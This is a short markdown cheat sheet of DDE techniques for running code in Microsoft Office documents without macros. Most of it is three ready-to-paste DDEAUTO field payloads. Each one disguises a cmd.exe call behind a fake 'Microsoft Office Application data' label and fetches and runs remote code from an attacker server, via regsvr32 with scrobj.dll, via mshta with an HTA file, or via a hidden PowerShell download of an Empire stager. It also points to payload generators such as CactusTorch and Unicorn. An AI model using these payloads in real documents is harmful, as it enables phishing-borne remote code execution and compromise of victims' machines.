Macro-Less-Cheatsheet.md

Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet

• Using regsvr32 *.sct files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data   || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"

• Using HTA files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data   || mshta http://192.168.56.101/poc.hta"

• Method from Empire - unfortunately unable to hide 'powershell.exe -NoP -sta -NonI' sequence

DDEAUTO C:\\Microsoft\\Programs\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/k  powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.56.101/default.ps1');powershell -noP -sta -w 1 -enc $e "

• CactusTorch DDE can also generate files in JS and VBS formats. They will utilize cscript as a file interpreter.

• Another option is to use scripts by Dominic Spinosa found here

• Another option is to stick with Unicorn by Dave Kennedy

Sources

• https://medium.com/red-team/dde-payloads-16629f4a2fcd